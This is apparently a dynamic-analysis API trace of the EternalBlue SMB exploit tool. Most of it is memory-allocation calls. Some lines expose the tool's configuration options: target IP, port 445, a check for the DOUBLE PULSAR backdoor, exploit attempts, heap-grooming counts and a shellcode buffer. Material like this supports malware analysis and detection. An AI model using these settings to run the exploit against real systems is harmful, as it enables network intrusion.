[0266.976] malloc (_Size=0x3c) returned 0x10b5da8
[0266.976] malloc (_Size=0x3e) returned 0x10b5df0
[0266.976] malloc (_Size=0x3c) returned 0x10b5e38
[0266.976] malloc (_Size=0x8) returned 0x10b6870
[0266.976] malloc (_Size=0x3c) returned 0x10b5e80
[0266.977] malloc (_Size=0x6) returned 0x10b6880
[0266.977] malloc (_Size=0x3c) returned 0x10b5ec8
[0266.977] malloc (_Size=0xa) returned 0x1bda08
[0266.977] malloc (_Size=0x3c) returned 0x10b5f10
[0266.977] malloc (_Size=0x8) returned 0x10b6890
[0266.977] malloc (_Size=0x14) returned 0x10b6ce0
[0266.977] malloc (_Size=0x3c) returned 0x10b5f58
[0266.977] malloc (_Size=0xb) returned 0x1bda20
[0266.977] malloc (_Size=0x30) returned 0x10b5388
[0266.977] malloc (_Size=0x5) returned 0x10b68a0
[0266.977] malloc (_Size=0x3c) returned 0x10b5fa0
[0266.977] malloc (_Size=0x3) returned 0x10b68b0
[0266.977] malloc (_Size=0x30) returned 0x10b53c0
[0266.977] malloc (_Size=0xc) returned 0x1bda38
[0266.977] malloc (_Size=0x3c) returned 0x10b5fe8
[0266.977] malloc (_Size=0x24) returned 0x10b6bc8
[0266.977] malloc (_Size=0x3c) returned 0x10b6030
[0266.977] malloc (_Size=0x8) returned 0x10b68c0
[0266.978] malloc (_Size=0x3c) returned 0x10b6078
[0266.978] malloc (_Size=0xb) returned 0x1bda50
[0266.978] malloc (_Size=0x30) returned 0x10b53f8
[0266.978] malloc (_Size=0x5) returned 0x10b68d0
[0266.978] malloc (_Size=0x3c) returned 0x10b60c0
[0266.978] malloc (_Size=0xa) returned 0x10b74c0
[0266.978] malloc (_Size=0x30) returned 0x10b5430
[0266.978] malloc (_Size=0xc) returned 0x10b74d8
[0266.978] malloc (_Size=0x3c) returned 0x10b6108
[0266.978] malloc (_Size=0x3a) returned 0x10b6150
[0266.978] malloc (_Size=0x3c) returned 0x10b6198
[0266.978] malloc (_Size=0x6) returned 0x10b68e0
[0266.978] malloc (_Size=0x3c) returned 0x10b61e0
[0266.978] malloc (_Size=0x4) returned 0x10b68f0
[0266.978] malloc (_Size=0x3c) returned 0x10b6228
[0266.978] malloc (_Size=0x4) returned 0x10b6900
[0266.979] malloc (_Size=0x3c) returned 0x10b6270
[0266.979] malloc (_Size=0x11) returned 0x10b6d00
[0266.979] malloc (_Size=0x3c) returned 0x10b62b8
[0266.979] malloc (_Size=0x6) returned 0x10b6910
[0266.979] malloc (_Size=0x3c) returned 0x10b6300
[0266.979] malloc (_Size=0xa) returned 0x10b74f0
[0266.979] malloc (_Size=0x30) returned 0x10b5468
[0266.979] malloc (_Size=0x8) returned 0x10b6920
[0266.979] malloc (_Size=0x3c) returned 0x10b6348
[0266.979] malloc (_Size=0x21) returned 0x10b6bf8
[0266.979] malloc (_Size=0x30) returned 0x10b54a0
[0266.979] malloc (_Size=0x5) returned 0x10b6930
[0266.979] malloc (_Size=0x3c) returned 0x10b6390
[0266.979] malloc (_Size=0x8) returned 0x10b6940
[0266.979] malloc (_Size=0x30) returned 0x10b78c0
[0266.980] malloc (_Size=0x5) returned 0x10b6950
[0266.980] malloc (_Size=0x3c) returned 0x10b63d8
[0266.980] malloc (_Size=0x14) returned 0x10b6d20
[0266.980] malloc (_Size=0x30) returned 0x10b78f8
[0266.980] malloc (_Size=0xc) returned 0x10b7508
[0266.980] malloc (_Size=0x3c) returned 0x10b6420
[0266.980] malloc (_Size=0x69) returned 0x10b80a8
[0266.980] malloc (_Size=0x3c) returned 0x10b6468
[0266.980] malloc (_Size=0x4) returned 0x10b6960
[0266.980] malloc (_Size=0x3c) returned 0x10b64b0
[0266.980] malloc (_Size=0x4) returned 0x10b6970
[0266.980] malloc (_Size=0x3c) returned 0x10b64f8
[0266.980] malloc (_Size=0xc) returned 0x10b7520
[0266.999] malloc (_Size=0x3c) returned 0x10b6540
[0267.002] malloc (_Size=0x6) returned 0x10b6980
[0267.003] malloc (_Size=0x14) returned 0x10b6d40
[0267.003] malloc (_Size=0x3c) returned 0x10b6588
[0267.003] malloc (_Size=0x6) returned 0x10b6990
[0267.003] malloc (_Size=0x30) returned 0x10b7930
[0267.003] malloc (_Size=0x9) returned 0x10b7538
[0267.003] malloc (_Size=0x3c) returned 0x10b65d0
[0267.003] malloc (_Size=0x4) returned 0x10b69a0
[0267.003] malloc (_Size=0x30) returned 0x10b7968
[0267.003] malloc (_Size=0xb) returned 0x10b7550
[0267.003] malloc (_Size=0x3c) returned 0x10b6618
[0267.003] malloc (_Size=0x9) returned 0x10b7568
[0267.003] malloc (_Size=0x30) returned 0x10b79a0
[0267.003] malloc (_Size=0xb) returned 0x10b7580
[0267.003] malloc (_Size=0x3c) returned 0x10b6660
[0267.003] malloc (_Size=0xb) returned 0x10b7598
[0267.004] malloc (_Size=0x30) returned 0x10b79d8
[0267.004] malloc (_Size=0x12) returned 0x10b6d60
[0267.004] malloc (_Size=0x3c) returned 0x10b66a8
[0267.004] malloc (_Size=0x5) returned 0x10b69b0
[0267.004] malloc (_Size=0x30) returned 0x10b7a10
[0267.004] malloc (_Size=0x9) returned 0x10b75b0
[0267.004] malloc (_Size=0x3c) returned 0x10b8138
[0267.004] malloc (_Size=0xd) returned 0x10b75c8
[0267.004] malloc (_Size=0x30) returned 0x10b7a48
[0267.004] malloc (_Size=0x9) returned 0x10b75e0
[0267.004] malloc (_Size=0x3c) returned 0x10b8180
[0267.005] malloc (_Size=0x1b) returned 0x10b9120
[0267.005] malloc (_Size=0x3c) returned 0x10b81c8
[0267.005] malloc (_Size=0x4) returned 0x10b69c0
[0267.005] malloc (_Size=0x3c) returned 0x10b8210
[0267.005] malloc (_Size=0x4) returned 0x10b69d0
[0267.005] malloc (_Size=0x3c) returned 0x10b8258
[0267.005] malloc (_Size=0x6) returned 0x10b69e0
[0267.005] malloc (_Size=0x3c) returned 0x10b82a0
[0267.005] malloc (_Size=0x6) returned 0x10b69f0
[0267.005] malloc (_Size=0x3c) returned 0x10b82e8
[0267.005] malloc (_Size=0x4) returned 0x10b6a00
[0267.005] malloc (_Size=0x3c) returned 0x10b8330
[0267.005] malloc (_Size=0x8) returned 0x10b6a10
[0267.005] malloc (_Size=0x3c) returned 0x10b8378
[0267.006] malloc (_Size=0x8) returned 0x10b6a20
[0267.006] malloc (_Size=0x30) returned 0x10b7a80
[0267.006] malloc (_Size=0x5) returned 0x10b6a30
[0267.006] malloc (_Size=0x3c) returned 0x10b83c0
[0267.006] malloc (_Size=0x4) returned 0x10b6a40
[0267.006] malloc (_Size=0x3c) returned 0x10b8408
[0267.006] malloc (_Size=0xa) returned 0x10b75f8
[0267.006] malloc (_Size=0x3c) returned 0x10b8450
[0267.006] malloc (_Size=0xc) returned 0x10b7610
[0267.006] malloc (_Size=0x30) returned 0x10b7ab8
[0267.006] malloc (_Size=0x5) returned 0x10b6a50
[0267.006] malloc (_Size=0x3c) returned 0x10b8498
[0267.006] malloc (_Size=0x9) returned 0x10b7628
[0267.006] malloc (_Size=0x30) returned 0x10b7af0
[0267.020] strlen (_Str="0f38f55b6a88feccfb846d3d10ab4687e652e63e") returned 0x28
[0267.020] calloc (_Count=0x29, _Size=0x1) returned 0x10b0098
[0267.020] _mbscpy (in: param_1=0x10b0098, param_2=0x10b0060 | out: param_1=0x10b0098) returned 0x10b0098
[0267.020] strlen (_Str="2.2.0.0") returned 0x7
[0267.020] calloc (_Count=0x8, _Size=0x1) returned 0x10c1458
[0267.020] _mbscpy (in: param_1=0x10c1458, param_2=0x10c1438 | out: param_1=0x10c1458) returned 0x10c1458
[0267.020] strlen (_Str="Eternalblue") returned 0xb
[0267.020] calloc (_Count=0xc, _Size=0x1) returned 0x1bd690
[0267.020] _mbscpy (in: param_1=0x1bd690, param_2=0x1bd6a8 | out: param_1=0x1bd690) returned 0x1bd690
[0267.020] strlen (_Str="2.2.0") returned 0x5
[0267.020] calloc (_Count=0x6, _Size=0x1) returned 0x10c1468
[0267.020] _mbscpy (in: param_1=0x10c1468, param_2=0x10c1428 | out: param_1=0x10c1468) returned 0x10c1468
[0267.020] strlen (_Str="urn:trch") returned 0x8
[0267.020] calloc (_Count=0x9, _Size=0x1) returned 0x10c2708
[0267.020] _mbscpy (in: param_1=0x10c2708, param_2=0x1bd6c0 | out: param_1=0x10c2708) returned 0x10c2708
[0267.020] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.020] strlen (_Str="2.1.0") returned 0x5
[0267.020] calloc (_Count=0x6, _Size=0x1) returned 0x10c1478
[0267.020] _mbscpy (in: param_1=0x10c1478, param_2=0x10c1448 | out: param_1=0x10c1478) returned 0x10c1478
[0267.021] free (_Block=0x10b0060)
[0267.021] free (_Block=0x1bd6a8)
[0267.021] free (_Block=0x10c1428)
[0267.021] free (_Block=0x10c1438)
[0267.021] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.021] calloc (_Count=0x1, _Size=0x1c) returned 0x1bff90
[0267.021] strlen (_Str="inputparameters") returned 0xf
[0267.021] calloc (_Count=0x10, _Size=0x1) returned 0x1bd6a8
[0267.021] _mbscpy (in: param_1=0x1bd6a8, param_2=0x1bd720 | out: param_1=0x1bd6a8) returned 0x1bd6a8
[0267.021] strlen (_Str="urn:trch") returned 0x8
[0267.021] calloc (_Count=0x9, _Size=0x1) returned 0x10c2720
[0267.021] _mbscpy (in: param_1=0x10c2720, param_2=0x1bd6c0 | out: param_1=0x10c2720) returned 0x10c2720
[0267.021] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.021] strlen (_Str="2.1.0") returned 0x5
[0267.021] calloc (_Count=0x6, _Size=0x1) returned 0x10c1438
[0267.021] _mbscpy (in: param_1=0x10c1438, param_2=0x10c1448 | out: param_1=0x10c1438) returned 0x10c1438
[0267.021] calloc (_Count=0x1, _Size=0x4) returned 0x10c1428
[0267.021] calloc (_Count=0x1, _Size=0x4) returned 0x10c1488
[0267.021] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0267.021] malloc (_Size=0xe) returned 0x10c2738
[0267.022] strlen (_Str="DaveProxyPort") returned 0xd
[0267.022] calloc (_Count=0xe, _Size=0x1) returned 0x10c2750
[0267.022] _mbscpy (in: param_1=0x10c2750, param_2=0x10c2738 | out: param_1=0x10c2750) returned 0x10c2750
[0267.022] strlen (_Str="DAVE Core/Proxy Hookup connection port") returned 0x26
[0267.022] calloc (_Count=0x27, _Size=0x1) returned 0x1b2cf8
[0267.022] _mbscpy (in: param_1=0x1b2cf8, param_2=0x1bffb8 | out: param_1=0x1b2cf8) returned 0x1b2cf8
[0267.022] strlen (_Str="TcpPort") returned 0x7
[0267.022] calloc (_Count=0x8, _Size=0x1) returned 0x10c14a8
[0267.022] _mbscpy (in: param_1=0x10c14a8, param_2=0x10c1498 | out: param_1=0x10c14a8) returned 0x10c14a8
[0267.022] strlen (_Str="Scalar") returned 0x6
[0267.022] calloc (_Count=0x7, _Size=0x1) returned 0x10c14b8
[0267.022] _mbscpy (in: param_1=0x10c14b8, param_2=0x7562c3f8 | out: param_1=0x10c14b8) returned 0x10c14b8
[0267.022] strlen (_Str="urn:trch") returned 0x8
[0267.022] calloc (_Count=0x9, _Size=0x1) returned 0x10c2768
[0267.022] _mbscpy (in: param_1=0x10c2768, param_2=0x1bd6c0 | out: param_1=0x10c2768) returned 0x10c2768
[0267.022] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.022] strlen (_Str="2.1.0") returned 0x5
[0267.022] calloc (_Count=0x6, _Size=0x1) returned 0x10c14c8
[0267.022] _mbscpy (in: param_1=0x10c14c8, param_2=0x10c1448 | out: param_1=0x10c14c8) returned 0x10c14c8
[0267.025] strlen (_Str="0") returned 0x1
[0267.025] calloc (_Count=0x2, _Size=0x1) returned 0x10c14d8
[0267.025] _mbscpy (in: param_1=0x10c14d8, param_2=0x1b2c58 | out: param_1=0x10c14d8) returned 0x10c14d8
[0267.025] malloc (_Size=0x5) returned 0x10c14e8
[0267.025] realloc (_Block=0x10c1428, _Size=0x8) returned 0x10c14e8
[0267.025] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0267.025] malloc (_Size=0xf) returned 0x10c2738
[0267.025] strlen (_Str="NetworkTimeout") returned 0xe
[0267.025] calloc (_Count=0xf, _Size=0x1) returned 0x10c2798
[0267.026] _mbscpy (in: param_1=0x10c2798, param_2=0x10c2738 | out: param_1=0x10c2798) returned 0x10c2798
[0267.026] strlen (_Str="Timeout for blocking network calls (in seconds). Use -1 for no timeout.") returned 0x47
[0267.026] calloc (_Count=0x48, _Size=0x1) returned 0x1bfcb8
[0267.026] _mbscpy (in: param_1=0x1bfcb8, param_2=0x1b2c58 | out: param_1=0x1bfcb8) returned 0x1bfcb8
[0267.026] strlen (_Str="S16") returned 0x3
[0267.026] calloc (_Count=0x4, _Size=0x1) returned 0x10c1498
[0267.026] _mbscpy (in: param_1=0x10c1498, param_2=0x10c1428 | out: param_1=0x10c1498) returned 0x10c1498
[0267.026] strlen (_Str="Scalar") returned 0x6
[0267.026] calloc (_Count=0x7, _Size=0x1) returned 0x10c14f8
[0267.026] _mbscpy (in: param_1=0x10c14f8, param_2=0x7562c3f8 | out: param_1=0x10c14f8) returned 0x10c14f8
[0267.026] strlen (_Str="urn:trch") returned 0x8
[0267.026] calloc (_Count=0x9, _Size=0x1) returned 0x10c27b0
[0267.026] _mbscpy (in: param_1=0x10c27b0, param_2=0x1bd6c0 | out: param_1=0x10c27b0) returned 0x10c27b0
[0267.026] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.026] strlen (_Str="2.1.0") returned 0x5
[0267.026] calloc (_Count=0x6, _Size=0x1) returned 0x10c1508
[0267.026] _mbscpy (in: param_1=0x10c1508, param_2=0x10c1448 | out: param_1=0x10c1508) returned 0x10c1508
[0267.026] strlen (_Str="60") returned 0x2
[0267.026] calloc (_Count=0x3, _Size=0x1) returned 0x10c1518
[0267.026] _mbscpy (in: param_1=0x10c1518, param_2=0x1b2d28 | out: param_1=0x10c1518) returned 0x10c1518
[0267.026] strtol (in: _Str="60", _EndPtr=0xc5f85c, _Radix=0 | out: _EndPtr=0xc5f85c*="") returned 60
[0267.027] free (_Block=0x10c2738)
[0267.027] free (_Block=0x1b2c58)
[0267.027] free (_Block=0x10c1428)
[0267.027] free (_Block=0x0)
[0267.027] free (_Block=0x1b2d28)
[0267.027] free (_Block=0x0)
[0267.027] free (_Block=0x0)
[0267.027] free (_Block=0x0)
[0267.027] free (_Block=0x0)
[0267.027] realloc (_Block=0x10c14e8, _Size=0xc) returned 0x10c2738
[0267.027] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0267.027] malloc (_Size=0x9) returned 0x10c27e0
[0267.027] strlen (_Str="TargetIp") returned 0x8
[0267.027] calloc (_Count=0x9, _Size=0x1) returned 0x10c27f8
[0267.027] _mbscpy (in: param_1=0x10c27f8, param_2=0x10c27e0 | out: param_1=0x10c27f8) returned 0x10c27f8
[0267.027] strlen (_Str="Target IP Address") returned 0x11
[0267.027] calloc (_Count=0x12, _Size=0x1) returned 0x10b6d40
[0267.027] _mbscpy (in: param_1=0x10b6d40, param_2=0x10b6da0 | out: param_1=0x10b6d40) returned 0x10b6d40
[0267.027] strlen (_Str="IPv4") returned 0x4
[0267.027] calloc (_Count=0x5, _Size=0x1) returned 0x10c1428
[0267.027] _mbscpy (in: param_1=0x10c1428, param_2=0x10c14e8 | out: param_1=0x10c1428) returned 0x10c1428
[0267.027] strlen (_Str="Scalar") returned 0x6
[0267.027] calloc (_Count=0x7, _Size=0x1) returned 0x10c1528
[0267.027] _mbscpy (in: param_1=0x10c1528, param_2=0x7562c3f8 | out: param_1=0x10c1528) returned 0x10c1528
[0267.027] strlen (_Str="urn:trch") returned 0x8
[0267.028] calloc (_Count=0x9, _Size=0x1) returned 0x10c2810
[0267.028] _mbscpy (in: param_1=0x10c2810, param_2=0x1bd6c0 | out: param_1=0x10c2810) returned 0x10c2810
[0267.028] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.028] strlen (_Str="2.1.0") returned 0x5
[0267.028] calloc (_Count=0x6, _Size=0x1) returned 0x10c1538
[0267.028] _mbscpy (in: param_1=0x10c1538, param_2=0x10c1448 | out: param_1=0x10c1538) returned 0x10c1538
[0267.028] realloc (_Block=0x10c2738, _Size=0x10) returned 0x10c27e0
[0267.028] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0267.028] malloc (_Size=0xb) returned 0x10c2738
[0267.028] strlen (_Str="TargetPort") returned 0xa
[0267.028] calloc (_Count=0xb, _Size=0x1) returned 0x10c2840
[0267.028] _mbscpy (in: param_1=0x10c2840, param_2=0x10c2738 | out: param_1=0x10c2840) returned 0x10c2840
[0267.028] strlen (_Str="Port used by the SMB service for exploit connection") returned 0x33
[0267.028] calloc (_Count=0x34, _Size=0x1) returned 0x1b2d68
[0267.028] _mbscpy (in: param_1=0x1b2d68, param_2=0x1b2d28 | out: param_1=0x1b2d68) returned 0x1b2d68
[0267.028] strlen (_Str="TcpPort") returned 0x7
[0267.028] calloc (_Count=0x8, _Size=0x1) returned 0x10c1548
[0267.028] _mbscpy (in: param_1=0x10c1548, param_2=0x10c14e8 | out: param_1=0x10c1548) returned 0x10c1548
[0267.028] strlen (_Str="Scalar") returned 0x6
[0267.028] calloc (_Count=0x7, _Size=0x1) returned 0x10c1558
[0267.028] _mbscpy (in: param_1=0x10c1558, param_2=0x7562c3f8 | out: param_1=0x10c1558) returned 0x10c1558
[0267.028] strlen (_Str="urn:trch") returned 0x8
[0267.029] calloc (_Count=0x9, _Size=0x1) returned 0x10c2858
[0267.029] _mbscpy (in: param_1=0x10c2858, param_2=0x1bd6c0 | out: param_1=0x10c2858) returned 0x10c2858
[0267.029] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.029] strlen (_Str="2.1.0") returned 0x5
[0267.029] calloc (_Count=0x6, _Size=0x1) returned 0x10c2988
[0267.029] _mbscpy (in: param_1=0x10c2988, param_2=0x10c1448 | out: param_1=0x10c2988) returned 0x10c2988
[0267.029] strlen (_Str="445") returned 0x3
[0267.029] calloc (_Count=0x4, _Size=0x1) returned 0x10c2998
[0267.029] _mbscpy (in: param_1=0x10c2998, param_2=0x1bfd08 | out: param_1=0x10c2998) returned 0x10c2998
[0267.029] free (_Block=0x10c2738)
[0267.029] free (_Block=0x1b2d28)
[0267.029] free (_Block=0x10c14e8)
[0267.029] free (_Block=0x0)
[0267.029] free (_Block=0x1bfd08)
[0267.029] free (_Block=0x0)
[0267.029] free (_Block=0x0)
[0267.029] free (_Block=0x0)
[0267.029] free (_Block=0x0)
[0267.029] realloc (_Block=0x10c27e0, _Size=0x14) returned 0x10b6da0
[0267.029] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0267.029] malloc (_Size=0xd) returned 0x10c27e0
[0267.030] strlen (_Str="VerifyTarget") returned 0xc
[0267.030] calloc (_Count=0xd, _Size=0x1) returned 0x10c2738
[0267.030] _mbscpy (in: param_1=0x10c2738, param_2=0x10c27e0 | out: param_1=0x10c2738) returned 0x10c2738
[0267.030] strlen (_Str="Validate the SMB string from target against the target selected before exploitation.") returned 0x54
[0267.030] calloc (_Count=0x55, _Size=0x1) returned 0x1bfe58
[0267.030] _mbscpy (in: param_1=0x1bfe58, param_2=0x1bfda8 | out: param_1=0x1bfe58) returned 0x1bfe58
[0267.030] strlen (_Str="Boolean") returned 0x7
[0267.030] calloc (_Count=0x8, _Size=0x1) returned 0x10c29a8
[0267.030] _mbscpy (in: param_1=0x10c29a8, param_2=0x10c14e8 | out: param_1=0x10c29a8) returned 0x10c29a8
[0267.030] strlen (_Str="Scalar") returned 0x6
[0267.030] calloc (_Count=0x7, _Size=0x1) returned 0x10c29b8
[0267.030] _mbscpy (in: param_1=0x10c29b8, param_2=0x7562c3f8 | out: param_1=0x10c29b8) returned 0x10c29b8
[0267.030] strlen (_Str="urn:trch") returned 0x8
[0267.030] calloc (_Count=0x9, _Size=0x1) returned 0x10c2888
[0267.030] _mbscpy (in: param_1=0x10c2888, param_2=0x1bd6c0 | out: param_1=0x10c2888) returned 0x10c2888
[0267.030] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.030] strlen (_Str="2.1.0") returned 0x5
[0267.030] calloc (_Count=0x6, _Size=0x1) returned 0x10c29c8
[0267.030] _mbscpy (in: param_1=0x10c29c8, param_2=0x10c1448 | out: param_1=0x10c29c8) returned 0x10c29c8
[0267.030] strlen (_Str="true") returned 0x4
[0267.030] calloc (_Count=0x5, _Size=0x1) returned 0x10c29d8
[0267.030] _mbscpy (in: param_1=0x10c29d8, param_2=0x1bfd08 | out: param_1=0x10c29d8) returned 0x10c29d8
[0267.031] strcmp (_Str1="true", _Str2="0") returned 1
[0267.031] strcmp (_Str1="true", _Str2="1") returned 1
[0267.031] realloc (_Block=0x10b6da0, _Size=0x18) returned 0x10b6d80
[0267.031] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0267.031] malloc (_Size=0xf) returned 0x10c27e0
[0267.031] strlen (_Str="VerifyBackdoor") returned 0xe
[0267.031] calloc (_Count=0xf, _Size=0x1) returned 0x10c28b8
[0267.031] _mbscpy (in: param_1=0x10c28b8, param_2=0x10c27e0 | out: param_1=0x10c28b8) returned 0x10c28b8
[0267.031] strlen (_Str="Validate the presence of the DOUBLE PULSAR backdoor before throwing. This option must be enabled for multiple exploit attempts.") returned 0x7f
[0267.031] calloc (_Count=0x80, _Size=0x1) returned 0x10c2df8
[0267.031] _mbscpy (in: param_1=0x10c2df8, param_2=0x10c2d70 | out: param_1=0x10c2df8) returned 0x10c2df8
[0267.031] strlen (_Str="Boolean") returned 0x7
[0267.031] calloc (_Count=0x8, _Size=0x1) returned 0x10c29e8
[0267.031] _mbscpy (in: param_1=0x10c29e8, param_2=0x10c14e8 | out: param_1=0x10c29e8) returned 0x10c29e8
[0267.031] strlen (_Str="Scalar") returned 0x6
[0267.031] calloc (_Count=0x7, _Size=0x1) returned 0x10c29f8
[0267.032] _mbscpy (in: param_1=0x10c29f8, param_2=0x7562c3f8 | out: param_1=0x10c29f8) returned 0x10c29f8
[0267.032] strlen (_Str="urn:trch") returned 0x8
[0267.032] calloc (_Count=0x9, _Size=0x1) returned 0x10c28d0
[0267.032] _mbscpy (in: param_1=0x10c28d0, param_2=0x1bd6c0 | out: param_1=0x10c28d0) returned 0x10c28d0
[0267.032] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.032] strlen (_Str="2.1.0") returned 0x5
[0267.032] calloc (_Count=0x6, _Size=0x1) returned 0x10c2a08
[0267.032] _mbscpy (in: param_1=0x10c2a08, param_2=0x10c1448 | out: param_1=0x10c2a08) returned 0x10c2a08
[0267.032] strlen (_Str="true") returned 0x4
[0267.032] calloc (_Count=0x5, _Size=0x1) returned 0x10c2a18
[0267.032] _mbscpy (in: param_1=0x10c2a18, param_2=0x1bfd08 | out: param_1=0x10c2a18) returned 0x10c2a18
[0267.032] strcmp (_Str1="true", _Str2="0") returned 1
[0267.032] strcmp (_Str1="true", _Str2="1") returned 1
[0267.032] realloc (_Block=0x10b6d80, _Size=0x1c) returned 0x1bffb8
[0267.032] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0267.032] malloc (_Size=0x13) returned 0x10b6d80
[0267.033] strlen (_Str="MaxExploitAttempts") returned 0x12
[0267.033] calloc (_Count=0x13, _Size=0x1) returned 0x10b6da0
[0267.033] _mbscpy (in: param_1=0x10b6da0, param_2=0x10b6d80 | out: param_1=0x10b6da0) returned 0x10b6da0
[0267.033] strlen (_Str="Number of times to attempt the exploit and groom. Disabled for XP/2K3.") returned 0x46
[0267.033] calloc (_Count=0x47, _Size=0x1) returned 0x10c2ed0
[0267.033] _mbscpy (in: param_1=0x10c2ed0, param_2=0x1bfd08 | out: param_1=0x10c2ed0) returned 0x10c2ed0
[0267.033] strlen (_Str="U32") returned 0x3
[0267.033] calloc (_Count=0x4, _Size=0x1) returned 0x10c2a28
[0267.033] _mbscpy (in: param_1=0x10c2a28, param_2=0x10c14e8 | out: param_1=0x10c2a28) returned 0x10c2a28
[0267.033] strlen (_Str="Scalar") returned 0x6
[0267.033] calloc (_Count=0x7, _Size=0x1) returned 0x10c2a38
[0267.033] _mbscpy (in: param_1=0x10c2a38, param_2=0x7562c3f8 | out: param_1=0x10c2a38) returned 0x10c2a38
[0267.143] strlen (_Str="urn:trch") returned 0x8
[0267.143] calloc (_Count=0x9, _Size=0x1) returned 0x10c27e0
[0267.143] _mbscpy (in: param_1=0x10c27e0, param_2=0x1bd6c0 | out: param_1=0x10c27e0) returned 0x10c27e0
[0267.143] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.143] strlen (_Str="2.1.0") returned 0x5
[0267.143] calloc (_Count=0x6, _Size=0x1) returned 0x10c2a48
[0267.143] _mbscpy (in: param_1=0x10c2a48, param_2=0x10c1448 | out: param_1=0x10c2a48) returned 0x10c2a48
[0267.144] strlen (_Str="3") returned 0x1
[0267.144] calloc (_Count=0x2, _Size=0x1) returned 0x10c2a58
[0267.144] _mbscpy (in: param_1=0x10c2a58, param_2=0x10c2d70 | out: param_1=0x10c2a58) returned 0x10c2a58
[0267.144] free (_Block=0x10b6d80)
[0267.144] free (_Block=0x1bfd08)
[0267.144] free (_Block=0x10c14e8)
[0267.144] free (_Block=0x0)
[0267.144] free (_Block=0x10c2d70)
[0267.144] free (_Block=0x0)
[0267.144] free (_Block=0x0)
[0267.144] free (_Block=0x0)
[0267.144] free (_Block=0x0)
[0267.144] realloc (_Block=0x1bffb8, _Size=0x20) returned 0x1bffb8
[0267.144] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0267.144] malloc (_Size=0x11) returned 0x10b6d80
[0267.144] strlen (_Str="GroomAllocations") returned 0x10
[0267.145] calloc (_Count=0x11, _Size=0x1) returned 0x10b6ce0
[0267.145] _mbscpy (in: param_1=0x10b6ce0, param_2=0x10b6d80 | out: param_1=0x10b6ce0) returned 0x10b6ce0
[0267.145] strlen (_Str="Number of large SMBv2 buffers (Vista+) or SessionSetup allocations (XK/2K3) to do.") returned 0x52
[0267.145] calloc (_Count=0x53, _Size=0x1) returned 0x10c2f70
[0267.145] _mbscpy (in: param_1=0x10c2f70, param_2=0x10c2d70 | out: param_1=0x10c2f70) returned 0x10c2f70
[0267.145] strlen (_Str="U32") returned 0x3
[0267.145] calloc (_Count=0x4, _Size=0x1) returned 0x10c2a68
[0267.145] _mbscpy (in: param_1=0x10c2a68, param_2=0x10c14e8 | out: param_1=0x10c2a68) returned 0x10c2a68
[0267.145] strlen (_Str="Scalar") returned 0x6
[0267.145] calloc (_Count=0x7, _Size=0x1) returned 0x10c2a78
[0267.145] _mbscpy (in: param_1=0x10c2a78, param_2=0x7562c3f8 | out: param_1=0x10c2a78) returned 0x10c2a78
[0267.145] strlen (_Str="urn:trch") returned 0x8
[0267.145] calloc (_Count=0x9, _Size=0x1) returned 0x10c2918
[0267.145] _mbscpy (in: param_1=0x10c2918, param_2=0x1bd6c0 | out: param_1=0x10c2918) returned 0x10c2918
[0267.145] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0267.145] strlen (_Str="2.1.0") returned 0x5
[0267.145] calloc (_Count=0x6, _Size=0x1) returned 0x10c2a88
[0267.145] _mbscpy (in: param_1=0x10c2a88, param_2=0x10c1448 | out: param_1=0x10c2a88) returned 0x10c2a88
[0267.145] strlen (_Str="12") returned 0x2
[0267.145] calloc (_Count=0x3, _Size=0x1) returned 0x10c2a98
[0267.145] _mbscpy (in: param_1=0x10c2a98, param_2=0x1bfd08 | out: param_1=0x10c2a98) returned 0x10c2a98
[0267.146] free (_Block=0x10b6d80)
[0267.146] free (_Block=0x10c2d70)
[0267.146] free (_Block=0x10c14e8)
[0267.146] free (_Block=0x0)
[0267.146] free (_Block=0x1bfd08)
[0267.146] free (_Block=0x0)
[0267.146] free (_Block=0x0)
[0267.146] free (_Block=0x0)
[0267.146] free (_Block=0x0)
[0267.146] realloc (_Block=0x1bffb8, _Size=0x24) returned 0x1bffb8
[0267.146] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0267.146] malloc (_Size=0x10) returned 0x10c2948
[0267.146] strlen (_Str="ShellcodeBuffer") returned 0xf
[0267.146] calloc (_Count=0x10, _Size=0x1) returned 0x10b0860
[0267.146] _mbscpy (in: param_1=0x10b0860, param_2=0x10c2948 | out: param_1=0x10b0860) returned 0x10b0860
[0267.146] strlen (_Str="Shellcode buffer in hex (hint: use 'F:' to load from file)") returned 0x44
[0267.146] calloc (_Count=0x45, _Size=0x1) returned 0x10b1048
[0267.146] _mbscpy (in: param_1=0x10b1048, param_2=0x1bfd08 | out: param_1=0x10b1048) returned 0x10b1048
[0267.146] strlen (_Str="Buffer") returned 0x6
[0267.146] calloc (_Count=0x7, _Size=0x1) returned 0x10c2ab8
[0267.146] _mbscpy (in: param_1=0x10c2ab8, param_2=0x10c14e8 | out: param_1=0x10c2ab8) returned 0x10c2ab8
[0267.146] strlen (_Str="Scalar") returned 0x6
[0267.146] calloc (_Count=0x7, _Size=0x1) returned 0x10c2ac8
[0267.146] _mbscpy (in: param_1=0x10c2ac8, param_2=0x7562c3f8 | out: param_1=0x10c2ac8) returned 0x10c2ac8
[0267.147] strlen (_Str="urn:trch") returned 0x8
[0267.147] calloc (_Count=0x9, _Size=0x1) returned 0x10b0878
[0267.147] _mbscpy (in: param_1=0x10b0878, param_2=0x1bd6c0 | out: param_1=0x10b0878) returned 0x10b0878
[0267.147] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
